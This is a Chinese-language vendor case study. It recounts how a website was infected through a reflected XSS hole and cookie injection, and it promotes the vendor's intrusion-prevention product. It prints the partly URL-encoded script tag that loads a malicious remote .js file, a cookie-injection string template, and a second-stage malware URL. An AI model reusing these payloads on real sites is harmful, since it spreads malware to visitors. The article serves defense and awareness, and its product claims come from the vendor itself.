近日,一款利用IE7漏洞進行傳播的腳本木馬在網上迅速傳播,該木馬利用搜索引擎檢索站點漏洞,并進行自動傳播。幾天內,數萬站點遭受感染,其中hongxiu.com、msn中國、東方財經網等都被入侵。
發現惡意軟件
某日早上,某網站維護人員小任像往常一樣打開了網站首頁,隨手點擊了一個鏈接,想驗證一下網站是否可以正常訪問,沒想到居然觸發了防病毒的軟件的報警:“發現惡意軟件”。心細的小任在一查之下大吃了一驚:首頁的幾乎所有鏈接都被加上了一個奇怪的網址“hxxp://c.nuclear3.com/css/c.js”,而這個js腳本,就是觸發防病毒軟件報警的元兇。
無奈之下,小任想到了自己單位的網絡安全設備提供商啟明星辰公司,并立刻聯系上該公司駐當地人員,同時一并提供的還有網站的日志文件。
攻擊者的手法
很快,小任就得到了啟明星辰工程師的反饋信息,在網站的/down.asp頁面下,存在一個反射式的XSS漏洞,駭客就是利用這個漏洞,通過cookie 注入的方式,將惡意腳本
{Script Src=http://c.nu%63%6Cear3.com/css/c.js}{/script} |
注入到每一個網站鏈接中,以達到危害用戶的目的。
小知識:什么叫反射式XSS
Web客戶端使用Server端腳本生成頁面為用戶提供數據時,如果未經驗證的用戶數據被包含在頁面中而未經HTML實體編碼,客戶端代碼便能夠注入到動態頁面中。
在這個例子里,駭客將惡意腳本嵌入URL,網站訪問者一旦點擊這個鏈接,瀏覽器將認為惡意代碼是來自網站,從而“放心”的執行。
小知識:cookie注入
Cookie注入是SQL注入攻擊的一種表現形式,是系統直接使用"request("name")"獲取客戶提交的數據,并對客戶提交的變量沒有過濾,而且在防注入程序中沒有限制Request.cookie所導致的。
一個典型的例子就是
javascript:alert(document.cookie="id="+escape(XX and "attack string") |
斬斷注入黑手
了解了問題的根源,剩下的就是防御問題了。在啟明星辰工程師的協助下,通過安星遠程網站安全檢查服務,小任挨個清除了頁面上所掛木馬,同時還發現網站存在數個SQL注入和XSS漏洞,而原有的網站安全檢查代碼由于無法進行語義一級的還原①,無法徹底杜絕這兩類攻擊,只有通過部署相應安全產品解決。在對比了數家國內外的Web安全防御產品后,該網站最終選擇了天清入侵防御產品,其采用攻擊機理分析方式對Web威脅如SQL注入、XSS攻擊等進行精確阻斷。與傳統的基于數據特征匹配和基于異常模型構建的Web安全相比,有著更低的漏報率和誤報率。天清入侵防御產品上線后,當小任嘗試用此前注入漏洞再次進行攻擊時,發現在產品事件監視臺上已經及時出現了報警信息并予以了阻斷。再次采用安星檢查服務后發現,已經無法嗅探出任何漏洞。
注①:繼續拿/css/c.js木馬舉例,該木馬的注入代碼是hxxp://c.nuclear3.com/css/c.js,但這個.js腳本并不是真正的攻擊代碼,而只是一段代碼:
|
這個腳本文件會在一個隱藏的框體中引用有害的鏈接:'hxxp://fvgit.cn/01/index.htm,真正的攻擊代碼存在于這個鏈接處,這段攻擊代碼異常簡單,擯棄了頭標簽體標簽,直接就是攻擊代碼,且采用了替換躲避手法
|
這種替換躲避手法需要使用到語義還原,如果僅檢查關鍵字,是無法發現和抵御此類攻擊的。
注:代碼中所有的{ }實為〈 〉


